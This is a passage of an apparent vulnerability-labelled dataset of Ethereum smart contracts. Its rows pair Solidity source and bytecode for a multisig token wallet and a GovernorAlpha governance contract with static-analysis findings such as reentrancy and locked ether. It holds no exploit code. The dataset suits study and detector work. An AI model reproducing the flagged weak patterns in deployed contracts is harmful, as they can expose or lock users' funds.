166000908152600360205260409020549295509093509150611da190846118a7565b600080600080611fab8561179f565b93509350935093506000611fbd6116db565b90506000806000611fd18988888888611833565b6001600160a01b038e166000908152600460205260409020549295509093509150611ffc908a6118a7565b6001600160a01b038c16600090815260046020908152604080832093909355600390522054611ed790846118a7565b6000821161203857505050565b600061204483836118e9565b6001600160a01b03851660009081526003602052604090205490915061206a9082611740565b6001600160a01b03851660009081526003602090815260408083209390935560069052205460ff161561169b576001600160a01b0384166000908152600460205260409020546120ba9084611740565b6001600160a01b03851660009081526004602052604090205550505050565b600c546120e690836118a7565b600c55600d546120f69082611740565b600d555050565b80356001600160a01b038116811461211457600080fd5b919050565b60006020828403121561212a578081fd5b610895826120fd565b60008060408385031215612145578081fd5b61214e836120fd565b915061215c602084016120fd565b90509250929050565b600080600060608486031215612179578081fd5b612182846120fd565b9250612190602085016120fd565b9150604084013590509250925092565b600080604083850312156121b2578182fd5b6121bb836120fd565b946020939093013593505050565b6000602082840312156121da578081fd5b5035919050565b600080604083850312156121f3578182fd5b8235915060208301358015158114612209578182fd5b809150509250929050565b6000602080835283518082850152825b8181101561224057858101830151858201604001528201612224565b818111156122515783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156122af576122af612325565b500190565b6000826122cf57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156122ee576122ee612325565b500290565b60008282101561230557612305612325565b500390565b600060001982141561231e5761231e612325565b5060010190565b634e487b7160e01b600052601160045260246000fdfe42455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e042455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203973bd5163441f1837d46e9e6437f3707eecbc03c13ef46424a1d3ff160e178564736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 162 |
0x892e09df99d67499333b4c2abaac22e395a41a0b | pragma solidity ^0.4.21;
/// @title Multisignature wallet - Allows multiple parties to agree on send ERC20 token transactions before execution.
/// @author Based on code by Stefan George - <stefan.george@consensys.net>
/*
* ERC20 interface
* see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20
{
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public returns (bool ok);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath
{
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b)
internal
pure
returns (uint)
{
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b)
internal
pure
returns (uint)
{
uint c = a + b;
assert(c >= a);
return c;
}
}
contract MultiSigWalletTokenLimit
{
using SafeMath for uint;
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transaction_id);
event Revocation(address indexed sender, uint indexed transaction_id);
event Submission(uint indexed transaction_id);
event Execution(uint indexed transaction_id);
event ExecutionFailure(uint indexed transaction_id);
event TokensReceived(address indexed from, uint value);
event Transfer(address indexed to, uint indexed value);
event CurrentPeriodChanged(uint indexed current_period, uint indexed current_transferred, uint indexed current_limit);
/*
* Structures
*/
struct Transaction
{
address to;
uint value;
bool executed;
}
struct Period
{
uint timestamp;
uint current_limit;
uint limit;
}
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public is_owner;
address[] public owners;
uint public required;
uint public transaction_count;
ERC20 public erc20_contract; //address of the ERC20 tokens contract
mapping (uint => Period) public periods;
uint public period_count;
uint public current_period;
uint public current_transferred; //amount of transferred tokens in the current period
/*
* Modifiers
*/
modifier ownerExists(address owner)
{
require(is_owner[owner]);
_;
}
modifier transactionExists(uint transaction_id)
{
require(transactions[transaction_id].to != 0);
_;
}
modifier confirmed(uint transaction_id, address owner)
{
require(confirmations[transaction_id][owner]);
_;
}
modifier notConfirmed(uint transaction_id, address owner)
{
require(!confirmations[transaction_id][owner]);
_;
}
modifier notExecuted(uint transaction_id)
{
require(!transactions[transaction_id].executed);
_;
}
modifier ownerOrWallet(address owner)
{
require (msg.sender == address(this) || is_owner[owner]);
_;
}
modifier notNull(address _address)
{
require(_address != 0);
_;
}
/// @dev Fallback function: don't accept ETH
function()
public
payable
{
revert();
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations, initial periods' parameters and token address.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _timestamps Timestamps of initial periods.
/// @param _limits Limits of initial periods. The length of _limits must be the same as _timestamps.
/// @param _erc20_contract Address of the ERC20 tokens contract.
function MultiSigWalletTokenLimit(address[] _owners, uint _required, uint[] _timestamps, uint[] _limits, ERC20 _erc20_contract)
public
{
for (uint i = 0; i < _owners.length; i++)
{
require(!is_owner[_owners[i]] && _owners[i] != 0);
is_owner[_owners[i]] = true;
}
owners = _owners;
required = _required;
periods[0].timestamp = 2**256 - 1;
periods[0].limit = 2**256 - 1;
uint total_limit = 0;
for (i = 0; i < _timestamps.length; i++)
{
periods[i + 1].timestamp = _timestamps[i];
periods[i + 1].current_limit = _limits[i];
total_limit = total_limit.add(_limits[i]);
periods[i + 1].limit = total_limit;
}
period_count = 1 + _timestamps.length;
current_period = 0;
if (_timestamps.length > 0)
current_period = 1;
current_transferred = 0;
erc20_contract = _erc20_contract;
}
/// @dev Allows an owner to submit and confirm a send tokens transaction.
/// @param to Address to transfer tokens.
/// @param value Amout of tokens to transfer.
/// @return Returns transaction ID.
function submitTransaction(address to, uint value)
public
notNull(to)
returns (uint transaction_id)
{
transaction_id = addTransaction(to, value);
confirmTransaction(transaction_id);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transaction_id Transaction ID.
function confirmTransaction(uint transaction_id)
public
ownerExists(msg.sender)
transactionExists(transaction_id)
notConfirmed(transaction_id, msg.sender)
{
confirmations[transaction_id][msg.sender] = true;
emit Confirmation(msg.sender, transaction_id);
executeTransaction(transaction_id);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transaction_id Transaction ID.
function revokeConfirmation(uint transaction_id)
public
ownerExists(msg.sender)
confirmed(transaction_id, msg.sender)
notExecuted(transaction_id)
{
confirmations[transaction_id][msg.sender] = false;
emit Revocation(msg.sender, transaction_id);
}
function executeTransaction(uint transaction_id)
public
ownerExists(msg.sender)
confirmed(transaction_id, msg.sender)
notExecuted(transaction_id)
{
if (isConfirmed(transaction_id))
{
Transaction storage txn = transactions[transaction_id];
txn.executed = true;
if (transfer(txn.to, txn.value))
emit Execution(transaction_id);
else
{
emit ExecutionFailure(transaction_id);
txn.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transaction_id Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transaction_id)
public
view
returns (bool)
{
uint count = 0;
for (uint i = 0; i < owners.length; i++)
{
if (confirmations[transaction_id][owners[i]])
++count;
if (count >= required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param to Address to transfer tokens.
/// @param value Amout of tokens to transfer.
/// @return Returns transaction ID.
function addTransaction(address to, uint value)
internal
returns (uint transaction_id)
{
transaction_id = transaction_count;
transactions[transaction_id] = Transaction({
to: to,
value: value,
executed: false
});
++transaction_count;
emit Submission(transaction_id);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transaction_id Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transaction_id)
public
view
returns (uint count)
{
for (uint i = 0; i < owners.length; i++)
if (confirmations[transaction_id][owners[i]])
++count;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
view
returns (uint count)
{
for (uint i = 0; i < transaction_count; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
++count;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
view
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transaction_id Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transaction_id)
public
view
returns (address[] _confirmations)
{
address[] memory confirmations_temp = new address[](owners.length);
uint count = 0;
uint i;
for (i = 0; i < owners.length; i++)
if (confirmations[transaction_id][owners[i]])
{
confirmations_temp[count] = owners[i];
++count;
}
_confirmations = new address[](count);
for (i = 0; i < count; i++)
_confirmations[i] = confirmations_temp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
view
returns (uint[] _transaction_ids)
{
uint[] memory transaction_ids_temp = new uint[](transaction_count);
uint count = 0;
uint i;
for (i = 0; i < transaction_count; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transaction_ids_temp[count] = i;
++count;
}
_transaction_ids = new uint[](to - from);
for (i = from; i < to; i++)
_transaction_ids[i - from] = transaction_ids_temp[i];
}
/// @dev Fallback function which is called by tokens contract after transferring tokens to this wallet.
/// @param from Source address of the transfer.
/// @param value Amount of received ERC20 tokens.
function tokenFallback(address from, uint value, bytes)
public
{
require(msg.sender == address(erc20_contract));
emit TokensReceived(from, value);
}
/// @dev Returns balance of the wallet
function getWalletBalance()
public
view
returns(uint)
{
return erc20_contract.balanceOf(this);
}
/// @dev Updates current perriod: looking for a period with a minimmum date(timestamp) that is greater than now.
function updateCurrentPeriod()
public
ownerOrWallet(msg.sender)
{
uint new_period = 0;
for (uint i = 1; i < period_count; i++)
if (periods[i].timestamp > now && periods[i].timestamp < periods[new_period].timestamp)
new_period = i;
if (new_period != current_period)
{
current_period = new_period;
emit CurrentPeriodChanged(current_period, current_transferred, periods[current_period].limit);
}
}
/// @dev Transfers ERC20 tokens from the wallet to a given address
/// @param to Address to transfer.
/// @param value Amount of tokens to transfer.
function transfer(address to, uint value)
internal
returns (bool)
{
updateCurrentPeriod();
require(value <= getWalletBalance() && current_transferred.add(value) <= periods[current_period].limit);
if (erc20_contract.transfer(to, value))
{
current_transferred = current_transferred.add(value);
emit Transfer(to, value);
return true;
}
return false;
}
} | 0x6060604052600436106101245763ffffffff60e060020a600035041663025e7c2781146101295780630776076f1461015b578063152fb5fd1461018e5780631d43b653146101b357806320ea8d86146101d5578063286ec4d1146101ed578063329a27e7146102005780633411c81c14610213578063431dc4b6146102355780635474152514610248578063784547a7146102655780638b51d13f1461027b5780639ace38c214610291578063a0e67e2b146102d7578063a8abe69a1461033d578063acfabbe414610360578063b5dc40c314610373578063c01a8c8414610389578063c0ee0b8a1461039f578063dc8452cd14610404578063de283b2114610417578063ea4a11041461042a578063ee22610b14610464578063f7ff50e21461047a575b600080fd5b341561013457600080fd5b61013f60043561048d565b604051600160a060020a03909116815260200160405180910390f35b341561016657600080fd5b61017a600160a060020a03600435166104b5565b604051901515815260200160405180910390f35b341561019957600080fd5b6101a16104ca565b60405190815260200160405180910390f35b34156101be57600080fd5b6101a1600160a060020a03600435166024356104d0565b34156101e057600080fd5b6101eb600435610504565b005b34156101f857600080fd5b61013f6105e2565b341561020b57600080fd5b6101a16105f1565b341561021e57600080fd5b61017a600435600160a060020a036024351661065f565b341561024057600080fd5b6101a161067f565b341561025357600080fd5b6101a160043515156024351515610685565b341561027057600080fd5b61017a6004356106ea565b341561028657600080fd5b6101a160043561076d565b341561029c57600080fd5b6102a76004356107dc565b604051600160a060020a039093168352602083019190915215156040808301919091526060909101905180910390f35b34156102e257600080fd5b6102ea61080a565b60405160208082528190810183818151815260200191508051906020019060200280838360005b83811015610329578082015183820152602001610311565b505050509050019250505060405180910390f35b341561034857600080fd5b6102ea60043560243560443515156064351515610872565b341561036b57600080fd5b6101eb610999565b341561037e57600080fd5b6102ea600435610a92565b341561039457600080fd5b6101eb600435610bf5565b34156103aa57600080fd5b6101eb60048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610ce395505050505050565b341561040f57600080fd5b6101a1610d40565b341561042257600080fd5b6101a1610d46565b341561043557600080fd5b610440600435610d4c565b60405180848152602001838152602001828152602001935050505060405180910390f35b341561046f57600080fd5b6101eb600435610d6d565b341561048557600080fd5b6101a1610eb3565b600380548290811061049b57fe5b600091825260209091200154600160a060020a0316905081565b60026020526000908152604090205460ff1681565b60085481565b600082600160a060020a03811615156104e857600080fd5b6104f28484610eb9565b91506104fd82610bf5565b5092915050565b33600160a060020a03811660009081526002602052604090205460ff16151561052c57600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561056157600080fd5b600084815260208190526040902060020154849060ff161561058257600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35050505050565b600654600160a060020a031681565b600654600090600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561064457600080fd5b5af1151561065157600080fd5b505050604051805191505090565b600160209081526000928352604080842090915290825290205460ff1681565b60095481565b6000805b6005548110156104fd578380156106b2575060008181526020819052604090206002015460ff16155b806106d657508280156106d6575060008181526020819052604090206002015460ff165b156106e2578160010191505b600101610689565b600080805b600354811015610766576000848152600160205260408120600380549192918490811061071857fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff161561074c578160010191505b600454821061075e5760019250610766565b6001016106ef565b5050919050565b6000805b6003548110156107d6576000838152600160205260408120600380549192918490811061079a57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156107ce578160010191505b600101610771565b50919050565b600060208190529081526040902080546001820154600290920154600160a060020a03909116919060ff1683565b6108126110b1565b600380548060200260200160405190810160405280929190818152602001828054801561086857602002820191906000526020600020905b8154600160a060020a0316815260019091019060200180831161084a575b5050505050905090565b61087a6110b1565b6108826110b1565b6000806005546040518059106108955750595b9080825280602002602001820160405250925060009150600090505b600554811015610929578580156108da575060008181526020819052604090206002015460ff16155b806108fe57508480156108fe575060008181526020819052604090206002015460ff165b15610921578083838151811061091057fe5b602090810290910101526001909101905b6001016108b1565b8787036040518059106109395750595b908082528060200260200182016040525093508790505b8681101561098e5782818151811061096457fe5b90602001906020020151848983038151811061097c57fe5b60209081029091010152600101610950565b505050949350505050565b6000803330600160a060020a031633600160a060020a031614806109d55750600160a060020a03811660009081526002602052604090205460ff165b15156109e057600080fd5b60009250600191505b600854821015610a38576000828152600760205260409020544290118015610a24575060008381526007602052604080822054848352912054105b15610a2d578192505b6001909101906109e9565b6009548314610a8d5760098390556000838152600760205260409081902060020154600a54909185907f56335bf4c021a00617d3f7b5ac9bf25c27b8893d0eeda4be5fdb3c51097bfdeb905160405180910390a45b505050565b610a9a6110b1565b610aa26110b1565b6003546000908190604051805910610ab75750595b9080825280602002602001820160405250925060009150600090505b600354811015610b7e5760008581526001602052604081206003805491929184908110610afc57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610b76576003805482908110610b3757fe5b600091825260209091200154600160a060020a0316838381518110610b5857fe5b600160a060020a039092166020928302909101909101526001909101905b600101610ad3565b81604051805910610b8c5750595b90808252806020026020018201604052509350600090505b81811015610bed57828181518110610bb857fe5b90602001906020020151848281518110610bce57fe5b600160a060020a03909216602092830290910190910152600101610ba4565b505050919050565b33600160a060020a03811660009081526002602052604090205460ff161515610c1d57600080fd5b6000828152602081905260409020548290600160a060020a03161515610c4257600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615610c7657600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a3610cdc85610d6d565b5050505050565b60065433600160a060020a03908116911614610cfe57600080fd5b82600160a060020a03167f5a0ebf9442637ca6e817894481a6de0c29715a73efc9e02bb7ef4ed52843362d8360405190815260200160405180910390a2505050565b60045481565b600a5481565b60076020526000908152604090208054600182015460029092015490919083565b33600160a060020a03811660009081526002602052604081205490919060ff161515610d9857600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff161515610dcd57600080fd5b600085815260208190526040902060020154859060ff1615610dee57600080fd5b610df7866106ea565b15610eab57600086815260208190526040902060028101805460ff19166001908117909155815490820154919650610e3a91600160a060020a0390911690610f78565b15610e7157857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2610eab565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260028501805460ff191690555b505050505050565b60055481565b60055460606040519081016040908152600160a060020a03851682526020808301859052600082840181905284815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0391909116178155602082015181600101556040820151600291909101805460ff191691151591909117905550600580546001019055807fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a292915050565b6000610f82610999565b610f8a6105f1565b8211158015610fbf5750600954600090815260076020526040902060020154600a54610fbc908463ffffffff61109b16565b11155b1515610fca57600080fd5b600654600160a060020a031663a9059cbb848460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561102057600080fd5b5af1151561102d57600080fd5b505050604051805190501561109157600a5461104f908363ffffffff61109b16565b600a5581600160a060020a0384167f69ca02dd4edd7bf0a4abb9ed3b7af3f14778db5d61921c7dc7cd545266326de260405160405180910390a3506001611095565b5060005b92915050565b6000828201838110156110aa57fe5b9392505050565b602060405190810160405260008152905600a165627a7a723058201932ca89493c676b3d8e7fcc0d10ab2805c0c319140c318aca9ee21ec07092f90029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 163 |
0xb0aE7CED89A7998e05979ea975b1aC0D01Af2a6b | pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "BTRUST Governor Alpha";
/// @notice The number of votes required in order for a voter to become a proposer
uint private _proposalThreshold;
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
uint private _quorumVotes;
/// @notice The duration of voting on a proposal, in blocks
uint32 private _votingPeriod;
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
/// @notice The address of the BTRUST Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the BTRUST governance token
BTRUSTInterface public BTRUST;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address BTRUST_, address guardian_, uint quorumVotes_, uint proposalThreshold_, uint32 votingPeriod_) public {
timelock = TimelockInterface(timelock_);
BTRUST = BTRUSTInterface(BTRUST_);
guardian = guardian_;
_quorumVotes = quorumVotes_;
_proposalThreshold = proposalThreshold_;
_votingPeriod = votingPeriod_;
}
function quorumVotes() public view returns (uint) { return _quorumVotes; }
function proposalThreshold() public view returns (uint) { return _proposalThreshold; }
function votingPeriod() public view returns (uint) { return _votingPeriod; }
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(BTRUST.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian || BTRUST.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint96 votes = BTRUST.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface BTRUSTInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
